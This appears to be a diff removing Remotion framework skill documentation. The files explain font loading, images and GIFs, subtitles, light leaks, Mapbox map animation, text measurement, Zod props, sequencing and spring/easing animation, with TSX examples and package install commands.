-pnpm exec remotion add @remotion/google-fonts # If project uses pnpm
-```
-
-```tsx
-import { loadFont } from "@remotion/google-fonts/Lobster";
-
-const { fontFamily } = loadFont();
-
-export const MyComposition = () => {
-  return <div style={{ fontFamily }}>Hello World</div>;
-};
-```
-
-Preferrably, specify only needed weights and subsets to reduce file size:
-
-```tsx
-import { loadFont } from "@remotion/google-fonts/Roboto";
-
-const { fontFamily } = loadFont("normal", {
-  weights: ["400", "700"],
-  subsets: ["latin"],
-});
-```
-
-### Waiting for font to load
-
-Use `waitUntilDone()` if you need to know when the font is ready:
-
-```tsx
-import { loadFont } from "@remotion/google-fonts/Lobster";
-
-const { fontFamily, waitUntilDone } = loadFont();
-
-await waitUntilDone();
-```
-
-## Local fonts with @remotion/fonts
-
-For local font files, use the `@remotion/fonts` package.
-
-### Prerequisites
-
-First, install @remotion/fonts:
-
-```bash
-npx remotion add @remotion/fonts # If project uses npm
-bunx remotion add @remotion/fonts # If project uses bun
-yarn remotion add @remotion/fonts # If project uses yarn
-pnpm exec remotion add @remotion/fonts # If project uses pnpm
-```
-
-### Loading a local font
-
-Place your font file in the `public/` folder and use `loadFont()`:
-
-```tsx
-import { loadFont } from "@remotion/fonts";
-import { staticFile } from "remotion";
-
-await loadFont({
-  family: "MyFont",
-  url: staticFile("MyFont-Regular.woff2"),
-});
-
-export const MyComposition = () => {
-  return <div style={{ fontFamily: "MyFont" }}>Hello World</div>;
-};
-```
-
-### Loading multiple weights
-
-Load each weight separately with the same family name:
-
-```tsx
-import { loadFont } from "@remotion/fonts";
-import { staticFile } from "remotion";
-
-await Promise.all([
-  loadFont({
-    family: "Inter",
-    url: staticFile("Inter-Regular.woff2"),
-    weight: "400",
-  }),
-  loadFont({
-    family: "Inter",
-    url: staticFile("Inter-Bold.woff2"),
-    weight: "700",
-  }),
-]);
-```
-
-### Available options
-
-```tsx
-loadFont({
-  family: "MyFont", // Required: name to use in CSS
-  url: staticFile("font.woff2"), // Required: font file URL
-  format: "woff2", // Optional: auto-detected from extension
-  weight: "400", // Optional: font weight
-  style: "normal", // Optional: normal or italic
-  display: "block", // Optional: font-display behavior
-});
-```
-
-## Using in components
-
-Call `loadFont()` at the top level of your component or in a separate file that's imported early:
-
-```tsx
-import { loadFont } from "@remotion/google-fonts/Montserrat";
-
-const { fontFamily } = loadFont("normal", {
-  weights: ["400", "700"],
-  subsets: ["latin"],
-});
-
-export const Title: React.FC<{ text: string }> = ({ text }) => {
-  return (
-    <h1
-      style={{
-        fontFamily,
-        fontSize: 80,
-        fontWeight: "bold",
-      }}
-    >
-      {text}
-    </h1>
-  );
-};

-# Using Animated images in Remotion
-
-## Basic usage
-
-Use `<AnimatedImage>` to display a GIF, APNG, AVIF or WebP image synchronized with Remotion's timeline:
-
-```tsx
-import { AnimatedImage, staticFile } from "remotion";
-
-export const MyComposition = () => {
-  return (
-    <AnimatedImage src={staticFile("animation.gif")} width={500} height={500} />
-  );
-};
-```
-
-Remote URLs are also supported (must have CORS enabled):
-
-```tsx
-<AnimatedImage
-  src="https://example.com/animation.gif"
-  width={500}
-  height={500}
-/>
-```
-
-## Sizing and fit
-
-Control how the image fills its container with the `fit` prop:
-
-```tsx
-// Stretch to fill (default)
-<AnimatedImage src={staticFile("animation.gif")} width={500} height={300} fit="fill" />
-
-// Maintain aspect ratio, fit inside container
-<AnimatedImage src={staticFile("animation.gif")} width={500} height={300} fit="contain" />
-
-// Fill container, crop if needed
-<AnimatedImage src={staticFile("animation.gif")} width={500} height={300} fit="cover" />
-```
-
-## Playback speed
-
-Use `playbackRate` to control the animation speed:
-
-```tsx
-<AnimatedImage src={staticFile("animation.gif")} width={500} height={500} playbackRate={2} /> {/* 2x speed */}
-<AnimatedImage src={staticFile("animation.gif")} width={500} height={500} playbackRate={0.5} /> {/* Half speed */}
-```
-
-## Looping behavior
-
-Control what happens when the animation finishes:
-
-```tsx
-// Loop indefinitely (default)
-<AnimatedImage src={staticFile("animation.gif")} width={500} height={500} loopBehavior="loop" />
-
-// Play once, show final frame
-<AnimatedImage src={staticFile("animation.gif")} width={500} height={500} loopBehavior="pause-after-finish" />
-
-// Play once, then clear canvas
-<AnimatedImage src={staticFile("animation.gif")} width={500} height={500} loopBehavior="clear-after-finish" />
-```
-
-## Styling
-
-Use the `style` prop for additional CSS (use `width` and `height` props for sizing):
-
-```tsx
-<AnimatedImage
-  src={staticFile("animation.gif")}
-  width={500}
-  height={500}
-  style={{
-    borderRadius: 20,
-    position: "absolute",
-    top: 100,
-    left: 50,
-  }}
-/>
-```
-
-## Getting GIF duration
-
-Use `getGifDurationInSeconds()` from `@remotion/gif` to get the duration of a GIF.
-
-```bash
-npx remotion add @remotion/gif
-```
-
-```tsx
-import { getGifDurationInSeconds } from "@remotion/gif";
-import { staticFile } from "remotion";
-
-const duration = await getGifDurationInSeconds(staticFile("animation.gif"));
-console.log(duration); // e.g. 2.5
-```
-
-This is useful for setting the composition duration to match the GIF:
-
-```tsx
-import { getGifDurationInSeconds } from "@remotion/gif";
-import { staticFile, CalculateMetadataFunction } from "remotion";
-
-const calculateMetadata: CalculateMetadataFunction = async () => {
-  const duration = await getGifDurationInSeconds(staticFile("animation.gif"));
-  return {
-    durationInFrames: Math.ceil(duration * 30),
-  };
-};
-```
-
-## Alternative
-
-If `<AnimatedImage>` does not work (only supported in Chrome and Firefox), you can use `<Gif>` from `@remotion/gif` instead.
-
-```bash
-npx remotion add @remotion/gif # If project uses npm
-bunx remotion add @remotion/gif # If project uses bun
-yarn remotion add @remotion/gif # If project uses yarn
-pnpm exec remotion add @remotion/gif # If project uses pnpm
-```
-
-```tsx
-import { Gif } from "@remotion/gif";
-import { staticFile } from "remotion";
-
-export const MyComposition = () => {
-  return <Gif src={staticFile("animation.gif")} width={500} height={500} />;
-};
-```
-
-The `<Gif>` component has the same props as `<AnimatedImage>` but only supports GIF files.

----
-
-# Using images in Remotion
-
-## The `<Img>` component
-
-Always use the `<Img>` component from `remotion` to display images:
-
-```tsx
-import { Img, staticFile } from "remotion";
-
-export const MyComposition = () => {
-  return <Img src={staticFile("photo.png")} />;
-};
-```
-
-## Important restrictions
-
-**You MUST use the `<Img>` component from `remotion`.** Do not use:
-
-- Native HTML `<img>` elements
-- Next.js `<Image>` component
-- CSS `background-image`
-
-The `<Img>` component ensures images are fully loaded before rendering, preventing flickering and blank frames during video export.
-
-## Local images with staticFile()
-
-Place images in the `public/` folder and use `staticFile()` to reference them:
-
-```
-my-video/
-├─ public/
-│  ├─ logo.png
-│  ├─ avatar.jpg
-│  └─ icon.svg
-├─ src/
-├─ package.json
-```
-
-```tsx
-import { Img, staticFile } from "remotion";
-
-<Img src={staticFile("logo.png")} />;
-```
-
-## Remote images
-
-Remote URLs can be used directly without `staticFile()`:
-
-```tsx
-<Img src="https://example.com/image.png" />
-```
-
-Ensure remote images have CORS enabled.
-
-For animated GIFs, use the `<Gif>` component from `@remotion/gif` instead.
-
-## Sizing and positioning
-
-Use the `style` prop to control size and position:
-
-```tsx
-<Img
-  src={staticFile("photo.png")}
-  style={{
-    width: 500,
-    height: 300,
-    position: "absolute",
-    top: 100,
-    left: 50,
-    objectFit: "cover",
-  }}
-/>
-```
-
-## Dynamic image paths
-
-Use template literals for dynamic file references:
-
-```tsx
-import { Img, staticFile, useCurrentFrame } from "remotion";
-
-const frame = useCurrentFrame();
-
-// Image sequence
-<Img src={staticFile(`frames/frame${frame}.png`)} />
-
-// Selecting based on props
-<Img src={staticFile(`avatars/${props.userId}.png`)} />
-
-// Conditional images
-<Img src={staticFile(`icons/${isActive ? "active" : "inactive"}.svg`)} />
-```
-
-This pattern is useful for:
-
-- Image sequences (frame-by-frame animations)
-- User-specific avatars or profile images
-- Theme-based icons
-- State-dependent graphics
-
-## Getting image dimensions
-
-Use `getImageDimensions()` to get the dimensions of an image:
-
-```tsx
-import { getImageDimensions, staticFile } from "remotion";
-
-const { width, height } = await getImageDimensions(staticFile("photo.png"));
-```
-
-This is useful for calculating aspect ratios or sizing compositions:
-
-```tsx
-import {
-  getImageDimensions,
-  staticFile,
-  CalculateMetadataFunction,
-} from "remotion";
-
-const calculateMetadata: CalculateMetadataFunction = async () => {
-  const { width, height } = await getImageDimensions(staticFile("photo.png"));
-  return {
-    width,
-    height,
-  };
-};
-```

----
-
-# Importing .srt subtitles into Remotion
-
-If you have an existing `.srt` subtitle file, you can import it into Remotion using `parseSrt()` from `@remotion/captions`.
-
-If you don't have a .srt file, read [Transcribing audio](transcribe-captions.md) for how to generate captions instead.
-
-## Prerequisites
-
-First, the @remotion/captions package needs to be installed.
-If it is not installed, use the following command:
-
-```bash
-npx remotion add @remotion/captions # If project uses npm
-bunx remotion add @remotion/captions # If project uses bun
-yarn remotion add @remotion/captions # If project uses yarn
-pnpm exec remotion add @remotion/captions # If project uses pnpm
-```
-
-## Reading an .srt file
-
-Use `staticFile()` to reference an `.srt` file in your `public` folder, then fetch and parse it:
-
-```tsx
-import { useState, useEffect, useCallback } from "react";
-import { AbsoluteFill, staticFile, useDelayRender } from "remotion";
-import { parseSrt } from "@remotion/captions";
-import type { Caption } from "@remotion/captions";
-
-export const MyComponent: React.FC = () => {
-  const [captions, setCaptions] = useState<Caption[] | null>(null);
-  const { delayRender, continueRender, cancelRender } = useDelayRender();
-  const [handle] = useState(() => delayRender());
-
-  const fetchCaptions = useCallback(async () => {
-    try {
-      const response = await fetch(staticFile("subtitles.srt"));
-      const text = await response.text();
-      const { captions: parsed } = parseSrt({ input: text });
-      setCaptions(parsed);
-      continueRender(handle);
-    } catch (e) {
-      cancelRender(e);
-    }
-  }, [continueRender, cancelRender, handle]);
-
-  useEffect(() => {
-    fetchCaptions();
-  }, [fetchCaptions]);
-
-  if (!captions) {
-    return null;
-  }
-
-  return <AbsoluteFill>{/* Use captions here */}</AbsoluteFill>;
-};
-```
-
-Remote URLs are also supported - you can `fetch()` a remote file via URL instead of using `staticFile()`.
-
-## Using imported captions
-
-Once parsed, the captions are in the `Caption` format and can be used with all `@remotion/captions` utilities.

-## Light Leaks
-
-This only works from Remotion 4.0.415 and up. Use `npx remotion versions` to check your Remotion version and `npx remotion upgrade` to upgrade your Remotion version.
-
-`<LightLeak>` from `@remotion/light-leaks` renders a WebGL-based light leak effect. It reveals during the first half of its duration and retracts during the second half.
-
-Typically used inside a `<TransitionSeries.Overlay>` to play over the cut point between two scenes. See the **transitions** rule for `<TransitionSeries>` and overlay usage.
-
-## Prerequisites
-
-```bash
-npx remotion add @remotion/light-leaks
-```
-
-## Basic usage with TransitionSeries
-
-```tsx
-import { TransitionSeries } from "@remotion/transitions";
-import { LightLeak } from "@remotion/light-leaks";
-
-<TransitionSeries>
-  <TransitionSeries.Sequence durationInFrames={60}>
-    <SceneA />
-  </TransitionSeries.Sequence>
-  <TransitionSeries.Overlay durationInFrames={30}>
-    <LightLeak />
-  </TransitionSeries.Overlay>
-  <TransitionSeries.Sequence durationInFrames={60}>
-    <SceneB />
-  </TransitionSeries.Sequence>
-</TransitionSeries>;
-```
-
-## Props
-
-- `durationInFrames?` — defaults to the parent sequence/composition duration. The effect reveals during the first half and retracts during the second half.
-- `seed?` — determines the shape of the light leak pattern. Different seeds produce different patterns. Default: `0`.
-- `hueShift?` — rotates the hue in degrees (`0`–`360`). Default: `0` (yellow-to-orange). `120` = green, `240` = blue.
-
-## Customizing the look
-
-```tsx
-import { LightLeak } from "@remotion/light-leaks";
-
-// Blue-tinted light leak with a different pattern
-<LightLeak seed={5} hueShift={240} />;
-
-// Green-tinted light leak
-<LightLeak seed={2} hueShift={120} />;
-```
-
-## Standalone usage
-
-`<LightLeak>` can also be used outside of `<TransitionSeries>`, for example as a decorative overlay in any composition:
-
-```tsx
-import { AbsoluteFill } from "remotion";
-import { LightLeak } from "@remotion/light-leaks";
-
-const MyComp: React.FC = () => (
-  <AbsoluteFill>
-    <MyContent />
-    <LightLeak durationInFrames={60} seed={3} />
-  </AbsoluteFill>
-);
-```

-## Prerequisites
-
-First, the @remotion/lottie package needs to be installed.  
-If it is not, use the following command:
-
-```bash
-npx remotion add @remotion/lottie # If project uses npm

-Maps can be added to a Remotion video with Mapbox.  
-The [Mapbox documentation](https://docs.mapbox.com/mapbox-gl-js/api/) has the API reference.
-
-## Prerequisites
-
-Mapbox and `@turf/turf` need to be installed.
-
-Search the project for lockfiles and run the correct command depending on the package manager:
-
-If `package-lock.json` is found, use the following command:
-
-```bash
-npm i mapbox-gl @turf/turf @types/mapbox-gl
-```
-
-If `bun.lock` is found, use the following command:
-
-```bash
-bun i mapbox-gl @turf/turf @types/mapbox-gl
-```
-
-If `yarn.lock` is found, use the following command:
-
-```bash
-yarn add mapbox-gl @turf/turf @types/mapbox-gl
-```
-
-If `pnpm-lock.yaml` is found, use the following command:
-
-```bash
-pnpm i mapbox-gl @turf/turf @types/mapbox-gl
-```
-
-The user needs to create a free Mapbox account and create an access token by visiting https://console.mapbox.com/account/access-tokens/.
-
-The mapbox token needs to be added to the `.env` file:
-
-```txt title=".env"
-REMOTION_MAPBOX_TOKEN==pk.your-mapbox-access-token
-```
-

-The following is important in Remotion:
-
-- Animations must be driven by `useCurrentFrame()` and animations that Mapbox brings itself should be disabled. For example, the `fadeDuration` prop should be set to `0`, `interactive` should be set to `false`, etc.
-- Loading the map should be delayed using `useDelayRender()` and the map should be set to `null` until it is loaded.
-- The element containing the ref MUST have an explicit width and height and `position: "absolute"`.
-- Do not add a `_map.remove();` cleanup function.
-
-## Drawing lines
-
-Unless I request it, do not add a glow effect to the lines.
-Unless I request it, do not add additional points to the lines.
-
-## Map style
-
-By default, use the `mapbox://styles/mapbox/standard` style.  
-Hide the labels from the base map style.
-
-Unless I request otherwise, remove all features from the Mapbox Standard style.
-
-```tsx
-// Hide all features from the Mapbox Standard style
-const hideFeatures = [
-  "showRoadsAndTransit",
-  "showRoads",
-  "showTransit",
-  "showPedestrianRoads",

-
-_map.setConfigProperty("basemap", "colorMotorways", "transparent");
-_map.setConfigProperty("basemap", "colorRoads", "transparent");
-_map.setConfigProperty("basemap", "colorTrunks", "transparent");
-```
-
-## Animating the camera
-
-You can animate the camera along the line by adding a `useEffect` hook that updates the camera position based on the current frame.
-
-Unless I ask for it, do not jump between camera angles.
-
-```tsx
-import * as turf from "@turf/turf";
-import { interpolate } from "remotion";
-import { Easing } from "remotion";
-import { useCurrentFrame, useVideoConfig, useDelayRender } from "remotion";
-
-const animationDuration = 20;
-const cameraAltitude = 4000;
-```
-
-```tsx
-const frame = useCurrentFrame();
-const { fps } = useVideoConfig();
-const { delayRender, continueRender } = useDelayRender();
-
-useEffect(() => {
-  if (!map) {
-    return;
-  }
-  const handle = delayRender("Moving point...");
-
-  const routeDistance = turf.length(turf.lineString(lineCoordinates));
-
-  const progress = interpolate(
-    frame / fps,
-    [0.00001, animationDuration],
-    [0, 1],
-    {
-      easing: Easing.inOut(Easing.sin),
-      extrapolateLeft: "clamp",
-      extrapolateRight: "clamp",
-    },
-  );
-
-  const camera = map.getFreeCameraOptions();
-
-  const alongRoute = turf.along(
-    turf.lineString(lineCoordinates),
-    routeDistance * progress,
-  ).geometry.coordinates;
-
-  camera.lookAtPoint({
-    lng: alongRoute[0],
-    lat: alongRoute[1],
-  });
-
-  map.setFreeCameraOptions(camera);
-  map.once("idle", () => continueRender(handle));
-}, [lineCoordinates, fps, frame, handle, map]);
-```
-
-Notes:
-
-IMPORTANT: Keep the camera by default so north is up.
-IMPORTANT: For multi-step animations, set all properties at all stages (zoom, position, line progress) to prevent jumps. Override initial values.
-
-- The progress is clamped to a minimum value to avoid the line being empty, which can lead to turf errors
-- See [Timing](./timing.md) for more options for timing.
-- Consider the dimensions of the composition and make the lines thick enough and the label font size large enough to be legible for when the composition is scaled down.
-
-## Animating lines
-
-### Straight lines (linear interpolation)
-
-To animate a line that appears straight on the map, use linear interpolation between coordinates. Do NOT use turf's `lineSliceAlong` or `along` functions, as they use geodesic (great circle) calculations which appear curved on a Mercator projection.
-
-```tsx
-const frame = useCurrentFrame();
-const { durationInFrames } = useVideoConfig();
-
-useEffect(() => {
-  if (!map) return;
-
-  const animationHandle = delayRender("Animating line...");
-
-  const progress = interpolate(frame, [0, durationInFrames - 1], [0, 1], {
-    extrapolateLeft: "clamp",
-    extrapolateRight: "clamp",
-    easing: Easing.inOut(Easing.cubic),
-  });
-
-  // Linear interpolation for a straight line on the map
-  const start = lineCoordinates[0];
-  const end = lineCoordinates[1];
-  const currentLng = start[0] + (end[0] - start[0]) * progress;
-  const currentLat = start[1] + (end[1] - start[1]) * progress;
-
-  const lineData: GeoJSON.Feature<GeoJSON.LineString> = {
-    type: "Feature",
-    properties: {},
-    geometry: {
-      type: "LineString",
-      coordinates: [start, [currentLng, currentLat]],
-    },
-  };
-
-  const source = map.getSource("trace") as mapboxgl.GeoJSONSource;
-  if (source) {
-    source.setData(lineData);
-  }
-
-  map.once("idle", () => continueRender(animationHandle));
-}, [frame, map, durationInFrames]);
-```
-
-### Curved lines (geodesic/great circle)
-
-To animate a line that follows the geodesic (great circle) path between two points, use turf's `lineSliceAlong`. This is useful for showing flight paths or the actual shortest distance on Earth.
-
-```tsx
-import * as turf from "@turf/turf";
-
-const routeLine = turf.lineString(lineCoordinates);
-const routeDistance = turf.length(routeLine);
-
-const currentDistance = Math.max(0.001, routeDistance * progress);
-const slicedLine = turf.lineSliceAlong(routeLine, 0, currentDistance);
-
-const source = map.getSource("route") as mapboxgl.GeoJSONSource;
-if (source) {
-  source.setData(slicedLine);
-}
-```
-
-## Markers
-
-Add labels, and markers where appropriate.
-
-```tsx
-_map.addSource("markers", {
-  type: "geojson",
-  data: {
-    type: "FeatureCollection",
-    features: [

-  },
-});
-```
-
-Make sure they are big enough. Check the composition dimensions and scale the labels accordingly.
-For a composition size of 1920x1080, the label font size should be at least 40px.
-
-IMPORTANT: Keep the `text-offset` small enough so it is close to the marker. Consider the marker circle radius. For a circle radius of 40, this is a good offset:
-
-```tsx
-"text-offset": [0, 0.5],
-```
-
-## 3D buildings
-
-To enable 3D buildings, use the following code:
-
-```tsx
-_map.setConfigProperty("basemap", "show3dObjects", true);
-_map.setConfigProperty("basemap", "show3dLandmarks", true);
-_map.setConfigProperty("basemap", "show3dBuildings", true);
-```
-
-## Rendering
-
-When rendering a map animation, make sure to render with the following flags:
-
-```
-npx remotion render --gl=angle --concurrency=1
-```

-# Measuring DOM nodes in Remotion
-
-Remotion applies a `scale()` transform to the video container, which affects values from `getBoundingClientRect()`. Use `useCurrentScale()` to get correct measurements.
-
-## Measuring element dimensions
-
-```tsx
-import { useCurrentScale } from "remotion";
-import { useRef, useEffect, useState } from "react";
-
-export const MyComponent = () => {
-  const ref = useRef<HTMLDivElement>(null);
-  const scale = useCurrentScale();
-  const [dimensions, setDimensions] = useState({ width: 0, height: 0 });
-
-  useEffect(() => {
-    if (!ref.current) return;
-    const rect = ref.current.getBoundingClientRect();
-    setDimensions({
-      width: rect.width / scale,
-      height: rect.height / scale,
-    });
-  }, [scale]);

-metadata:

----
-
-# Measuring text in Remotion
-
-## Prerequisites
-
-Install @remotion/layout-utils if it is not already installed:
-
-```bash
-npx remotion add @remotion/layout-utils
-```
-
-## Measuring text dimensions
-
-Use `measureText()` to calculate the width and height of text:
-
-```tsx
-import { measureText } from "@remotion/layout-utils";
-
-const { width, height } = measureText({
-  text: "Hello World",
-  fontFamily: "Arial",
-  fontSize: 32,
-  fontWeight: "bold",
-});
-```
-
-Results are cached - duplicate calls return the cached result.
-
-## Fitting text to a width
-
-Use `fitText()` to find the optimal font size for a container:
-
-```tsx
-import { fitText } from "@remotion/layout-utils";
-
-const { fontSize } = fitText({
-  text: "Hello World",
-  withinWidth: 600,
-  fontFamily: "Inter",
-  fontWeight: "bold",
-});
-
-return (
-  <div
-    style={{
-      fontSize: Math.min(fontSize, 80), // Cap at 80px
-      fontFamily: "Inter",
-      fontWeight: "bold",
-    }}
-  >
-    Hello World
-  </div>
-);
-```
-
-## Checking text overflow
-
-Use `fillTextBox()` to check if text exceeds a box:
-
-```tsx
-import { fillTextBox } from "@remotion/layout-utils";
-
-const box = fillTextBox({ maxBoxWidth: 400, maxLines: 3 });
-
-const words = ["Hello", "World", "This", "is", "a", "test"];
-for (const word of words) {
-  const { exceedsBox } = box.add({
-    text: word + " ",
-    fontFamily: "Arial",
-    fontSize: 24,
-  });
-  if (exceedsBox) {
-    // Text would overflow, handle accordingly
-    break;
-  }
-}
-```
-
-## Best practices
-
-**Load fonts first:** Only call measurement functions after fonts are loaded.
-
-```tsx
-import { loadFont } from "@remotion/google-fonts/Inter";
-
-const { fontFamily, waitUntilDone } = loadFont("normal", {
-  weights: ["400"],
-  subsets: ["latin"],
-});
-
-waitUntilDone().then(() => {
-  // Now safe to measure
-  const { width } = measureText({
-    text: "Hello",
-    fontFamily,
-    fontSize: 32,
-  });
-});
-```
-
-**Use validateFontIsLoaded:** Catch font loading issues early:
-
-```tsx
-measureText({
-  text: "Hello",
-  fontFamily: "MyCustomFont",
-  fontSize: 32,
-  validateFontIsLoaded: true, // Throws if font not loaded
-});
-```
-
-**Match font properties:** Use the same properties for measurement and rendering:
-
-```tsx
-const fontStyle = {
-  fontFamily: "Inter",
-  fontSize: 32,
-  fontWeight: "bold" as const,
-  letterSpacing: "0.5px",
-};
-
-const { width } = measureText({
-  text: "Hello",
-  ...fontStyle,
-});
-
-return <div style={fontStyle}>Hello</div>;
-```
-
-**Avoid padding and border:** Use `outline` instead of `border` to prevent layout differences:
-
-```tsx
-<div style={{ outline: "2px solid red" }}>Text</div>
-```

-description: Make a video parametrizable by adding a Zod schema
-metadata:
-  tags: parameters, zod, schema
----
-
-To make a video parametrizable, a Zod schema can be added to a composition.
-
-First, `zod` must be installed .
-
-Search the project for lockfiles and run the correct command depending on the package manager:
-
-If `package-lock.json` is found, use the following command:
-
-```bash
-npm i zod
-```
-
-If `bun.lockb` is found, use the following command:
-
-```bash
-bun i zod
-```
-
-If `yarn.lock` is found, use the following command:
-
-```bash
-yarn add zod
-```
-
-If `pnpm-lock.yaml` is found, use the following command:
-
-```bash
-pnpm i zod
-```
-
-Then, a Zod schema can be defined alongside the component:
-
-```tsx title="src/MyComposition.tsx"
-import { z } from "zod";
-
-export const MyCompositionSchema = z.object({
-  title: z.string(),
-});
-
-const MyComponent: React.FC<z.infer<typeof MyCompositionSchema>> = () => {
-  return (
-    <div>
-      <h1>{props.title}</h1>
-    </div>
-  );
-};
-```
-
-In the root file, the schema can be passed to the composition:
-
-```tsx title="src/Root.tsx"
-import { Composition } from "remotion";
-import { MycComponent, MyCompositionSchema } from "./MyComposition";
-
-export const RemotionRoot = () => {
-  return (
-    <Composition
-      id="MyComposition"
-      component={MyComponent}
-      durationInFrames={100}
-      fps={30}
-      width={1080}
-      height={1080}
-      defaultProps={{ title: "Hello World" }}
-      schema={MyCompositionSchema}
-    />
-  );
-};
-```
-
-Now, the user can edit the parameter visually in the sidebar.
-
-All schemas that are supported by Zod are supported by Remotion.
-
-Remotion requires that the top-level type is a z.object(), because the collection of props of a React component is always an object.
-
-## Color picker
-
-For adding a color picker, use `zColor()` from `@remotion/zod-types`.
-
-If it is not installed, use the following command:
-
-```bash
-npx remotion add @remotion/zod-types # If project uses npm
-bunx remotion add @remotion/zod-types # If project uses bun
-yarn remotion add @remotion/zod-types # If project uses yarn
-pnpm exec remotion add @remotion/zod-types # If project uses pnpm
-```
-
-Then import `zColor` from `@remotion/zod-types`:
-
-```tsx
-import { zColor } from "@remotion/zod-types";
-```
-
-Then use it in the schema:
-
-```tsx
-export const MyCompositionSchema = z.object({
-  color: zColor(),
-});
-```

----
-name: sequencing
-description: Sequencing patterns for Remotion - delay, trim, limit duration of items
-metadata:
-  tags: sequence, series, timing, delay, trim
----
-
-Use `<Sequence>` to delay when an element appears in the timeline.
-
-```tsx
-import { Sequence } from "remotion";
-
-const {fps} = useVideoConfig();
-
-<Sequence from={1 * fps} durationInFrames={2 * fps} premountFor={1 * fps}>
-  <Title />
-</Sequence>
-<Sequence from={2 * fps} durationInFrames={2 * fps} premountFor={1 * fps}>
-  <Subtitle />
-</Sequence>
-```
-
-This will by default wrap the component in an absolute fill element.  
-If the items should not be wrapped, use the `layout` prop:
-
-```tsx
-<Sequence layout="none">
-  <Title />
-</Sequence>
-```
-
-## Premounting
-
-This loads the component in the timeline before it is actually played.  
-Always premount any `<Sequence>`!
-
-```tsx
-<Sequence premountFor={1 * fps}>
-  <Title />
-</Sequence>
-```
-
-## Series
-
-Use `<Series>` when elements should play one after another without overlap.
-
-```tsx
-import { Series } from "remotion";
-
-<Series>
-  <Series.Sequence durationInFrames={45}>
-    <Intro />
-  </Series.Sequence>
-  <Series.Sequence durationInFrames={60}>
-    <MainContent />
-  </Series.Sequence>
-  <Series.Sequence durationInFrames={30}>
-    <Outro />
-  </Series.Sequence>
-</Series>;
-```
-
-Same as with `<Sequence>`, the items will be wrapped in an absolute fill element by default when using `<Series.Sequence>`, unless the `layout` prop is set to `none`.
-
-### Series with overlaps
-
-Use negative offset for overlapping sequences:
-
-```tsx
-<Series>
-  <Series.Sequence durationInFrames={60}>
-    <SceneA />
-  </Series.Sequence>
-  <Series.Sequence offset={-15} durationInFrames={60}>
-    {/* Starts 15 frames before SceneA ends */}
-    <SceneB />
-  </Series.Sequence>
-</Series>
-```
-
-## Frame References Inside Sequences
-
-Inside a Sequence, `useCurrentFrame()` returns the local frame (starting from 0):
-
-```tsx
-<Sequence from={60} durationInFrames={30}>
-  <MyComponent />
-  {/* Inside MyComponent, useCurrentFrame() returns 0-29, not 60-89 */}
-</Sequence>
-```
-
-## Nested Sequences
-
-Sequences can be nested for complex timing:
-
-```tsx
-<Sequence from={0} durationInFrames={120}>
-  <Background />
-  <Sequence from={15} durationInFrames={90} layout="none">
-    <Title />
-  </Sequence>
-  <Sequence from={45} durationInFrames={60} layout="none">
-    <Subtitle />
-  </Sequence>
-</Sequence>
-```
-
-## Nesting compositions within another
-
-To add a composition within another composition, you can use the `<Sequence>` component with a `width` and `height` prop to specify the size of the composition.
-
-```tsx
-<AbsoluteFill>
-  <Sequence width={COMPOSITION_WIDTH} height={COMPOSITION_HEIGHT}>
-    <CompositionComponent />
-  </Sequence>
-</AbsoluteFill>
-```

-description: Interpolation curves in Remotion - linear, easing, spring animations
-metadata:
-  tags: spring, bounce, easing, interpolation
----
-
-A simple linear interpolation is done using the `interpolate` function.
-
-```ts title="Going from 0 to 1 over 100 frames"
-import { interpolate } from "remotion";
-
-const opacity = interpolate(frame, [0, 100], [0, 1]);
-```
-
-By default, the values are not clamped, so the value can go outside the range [0, 1].  
-Here is how they can be clamped:
-
-```ts title="Going from 0 to 1 over 100 frames with extrapolation"
-const opacity = interpolate(frame, [0, 100], [0, 1], {
-  extrapolateRight: "clamp",
-  extrapolateLeft: "clamp",
-});
-```
-
-## Spring animations
-
-Spring animations have a more natural motion.  
-They go from 0 to 1 over time.
-
-```ts title="Spring animation from 0 to 1 over 100 frames"
-import { spring, useCurrentFrame, useVideoConfig } from "remotion";
-
-const frame = useCurrentFrame();
-const { fps } = useVideoConfig();
-
-const scale = spring({
-  frame,
-  fps,
-});
-```
-
-### Physical properties
-
-The default configuration is: `mass: 1, damping: 10, stiffness: 100`.  
-This leads to the animation having a bit of bounce before it settles.
-
-The config can be overwritten like this:
-
-```ts
-const scale = spring({
-  frame,
-  fps,
-  config: { damping: 200 },
-});
-```
-
-The recommended configuration for a natural motion without a bounce is: `{ damping: 200 }`.
-
-Here are some common configurations:
-
-```tsx
-const smooth = { damping: 200 }; // Smooth, no bounce (subtle reveals)
-const snappy = { damping: 20, stiffness: 200 }; // Snappy, minimal bounce (UI elements)
-const bouncy = { damping: 8 }; // Bouncy entrance (playful animations)
-const heavy = { damping: 15, stiffness: 80, mass: 2 }; // Heavy, slow, small bounce
-```
-
-### Delay
-
-The animation starts immediately by default.  
-Use the `delay` parameter to delay the animation by a number of frames.
-
-```tsx
-const entrance = spring({
-  frame: frame - ENTRANCE_DELAY,
-  fps,
-  delay: 20,
-});
-```
-
-### Duration
-
-A `spring()` has a natural duration based on the physical properties.  
-To stretch the animation to a specific duration, use the `durationInFrames` parameter.
-
-```tsx
-const spring = spring({
-  frame,
-  fps,
-  durationInFrames: 40,
-});
-```
-
-### Combining spring() with interpolate()
-
-Map spring output (0-1) to custom ranges:
-
-```tsx
-const springProgress = spring({
-  frame,
-  fps,
-});
-
-// Map to rotation
-const rotation = interpolate(springProgress, [0, 1], [0, 360]);
-
-<div style={{ rotate: rotation + "deg" }} />;
-```
-
-### Adding springs
-
-Springs return just numbers, so math can be performed:
-
-```tsx
-const frame = useCurrentFrame();
-const { fps, durationInFrames } = useVideoConfig();
-
-const inAnimation = spring({
-  frame,
-  fps,
-});
-const outAnimation = spring({
-  frame,
-  fps,
-  durationInFrames: 1 * fps,
-  delay: durationInFrames - 1 * fps,
-});
-
-const scale = inAnimation - outAnimation;
-```
-
-## Easing
-
-Easing can be added to the `interpolate` function:
-
-```ts
-import { interpolate, Easing } from "remotion";
-
-const value1 = interpolate(frame, [0, 100], [0, 1], {
-  easing: Easing.inOut(Easing.quad),
-  extrapolateLeft: "clamp",
-  extrapolateRight: "clamp",
-});
-```
-
-The default easing is `Easing.linear`.  
-There are various other convexities:
-
-- `Easing.in` for starting slow and accelerating
-- `Easing.out` for starting fast and slowing down
-- `Easing.inOut`
-
-and curves (sorted from most linear to most curved):
-
-- `Easing.quad`
-- `Easing.sin`
-- `Easing.exp`
-- `Easing.circle`
-
-Convexities and curves need be combined for an easing function:
-
-```ts
-const value1 = interpolate(frame, [0, 100], [0, 1], {
-  easing: Easing.inOut(Easing.quad),
-  extrapolateLeft: "clamp",
-  extrapolateRight: "clamp",
